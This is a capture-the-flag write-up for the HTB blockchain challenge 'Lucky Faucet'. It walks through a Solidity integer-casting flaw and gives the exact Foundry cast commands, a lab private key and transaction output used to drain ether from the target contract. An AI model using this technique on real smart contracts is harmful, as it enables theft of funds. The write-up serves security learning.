## Lucky Faucet [easy]
### Description
`The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It's designed to provide enough resources for all players, with the hope that someone won't monopolize it, leaving none for others.`
### Initial AnalysisLike the `Russian Roulette` challenge, HTB spawned two Docker containers and provided a .zip file containing smart contracts, `Setup.sol` and `LuckyFaucet.sol`. I began by looking at `Setup.sol`.
### Setup.sol
```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {    LuckyFaucet public immutable TARGET;
    uint256 constant INITIAL_BALANCE = 500 ether;
    constructor() payable {        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();    }
    function isSolved() public view returns (bool) {        return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;    }}```
`Setup.sol` creates a new `LuckyFaucet` contract called `TARGET` with the initial balance of 500 ether. To solve the challenge, I needed to transfer at least 10 ether out of the `TARGET` contract to reduce its balance to 490 ether or less.
Next, I examined `LuckyFaucet.sol`.
#### LuckyFaucet.sol
```solidity// SPDX-License-Identifier: MITpragma solidity 0.7.6;
contract LuckyFaucet {    int64 public upperBound;    int64 public lowerBound;
    constructor() payable {        // start with 50M-100M wei Range until player changes it        upperBound = 100_000_000;        lowerBound =  50_000_000;    }
    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");        require(_newLowerBound <= _newUpperBound);        // why? because if you don't need this much, pls lower the upper bound :)        // we don't have infinite money glitch.        upperBound = _newUpperBound;        lowerBound = _newLowerBound;    }
    function sendRandomETH() public returns (bool, uint64) {        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random ?"        // we can safely cast to uint64 since we'll never         // have to worry about sending more than 2**64 - 1 wei         uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);         bool sent = msg.sender.send(amountToSend);        return (sent, amountToSend);    }}```
A `LuckyFaucet` contract contains two functions: `setBounds()` and `sendRandomETH()`. `setBounds()`accepts two 64-bit integers as parameters to represent the new `lowerBound` and `upperBound` values where `lowerBound` cannot exceed `upperBound` and the maximum amount of wei for each variable is limited to 50 million wei and 100 million wei respectively. Given there is 10^18^ wei in one ether, the initial bounds are much too small to achieve the goal of transferring 10 ether in a reasonable amount of time. The solution is to figure out a way to make transferring more ether at a team possible. 
### SolutionWith `lowerBound` and `upperBound` existing as signed integers or `int64`, a significantly large negative `lowerBound` value can be set and would result in a large `amountToSend` for `sendRandomETH()`. Even if the result of `upperBound - lowerBound + 1) + lowerBound` is a large negative number, the contract casting it to an unsigned integer or `uint64` will result in a positive number.
With this principle in mind, I set up my Foundry-rs Docker container ([Foundry](https://github.com/foundry-rs/foundry)) with the proper environment variables provided by HTB.
```bash$ nc 94.237.63.2 386941 - Connection information2 - Restart Instance3 - Get flagaction? 1
Private key     :  0xa26192c31c6a9630bda5f0da49d5910a57ff3d25523ed0daaba2fa86ee34ecf0Address         :  0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3CfTarget contract :  0xEC9a50cbE92645C537d3645e714eDffD85055917Setup contract  :  0x83630575314cFDdE1C849b4f28B806381b7A67E6
# export PK=0xa26192c31c6a9630bda5f0da49d5910a57ff3d25523ed0daaba2fa86ee34ecf0# export ATTACKER=0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf# export TARGET=0xEC9a50cbE92645C537d3645e714eDffD85055917# export RPC=http://94.237.63.2:43020```
I then used Foundry's `cast` tool to call the `setBounds()` function to create a significantly negative value for `lowerBound` where `lowerBound` was `-10000000000000000` and `upperBound` was `100000000`.
```solidity# cast send --private-key $PK --rpc-url $RPC $TARGET "setBounds(int64, int64)" -- -10000000000000000 100000000
blockHash               0x61fc9b1c1d3d6cec7be31df01aad0dba01a5d2acaf583e96ae68f4b21f2414deblockNumber             2contractAddresscumulativeGasUsed       27135effectiveGasPrice       3000000000from                    0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3CfgasUsed                 27135logs                    []logsBloom               0x000000000000000000000000...rootstatus                  1transactionHash         0x66ca28e9a4c26f24fb81841b133306d64f3dc971b858daa18a74404ddc991288transactionIndex        0type                    2to                      0xEC9a50cbE92645C537d3645e714eDffD85055917depositNonce             null```
After updating the bounds, I called the `sendRandomETH()` function, which drained at least the required 10 ether from the target contract and allowed me to get the flag.
```bash# cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "sendRandomETH()"
blockHash               0x9739649d9e6ba6e8c8e39fee837a831de9c5429ed4caa63e8ec8e8a1727a3c5bblockNumber             3contractAddresscumulativeGasUsed       30463effectiveGasPrice       3000000000from                    0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3CfgasUsed                 30463logs                    []logsBloom               0x000000000000000000000000...rootstatus                  1transactionHash         0xc9d12df171dee3f1cd8f4620d85c22aae557d4ba583910171b9469f219aed354transactionIndex        0type                    2to                      0xEC9a50cbE92645C537d3645e714eDffD85055917depositNonce             null```
```bash$ nc 94.237.63.2 386941 - Connection information2 - Restart Instance3 - Get flagaction? 3HTB{1_f0rg0r_s0m3_U}```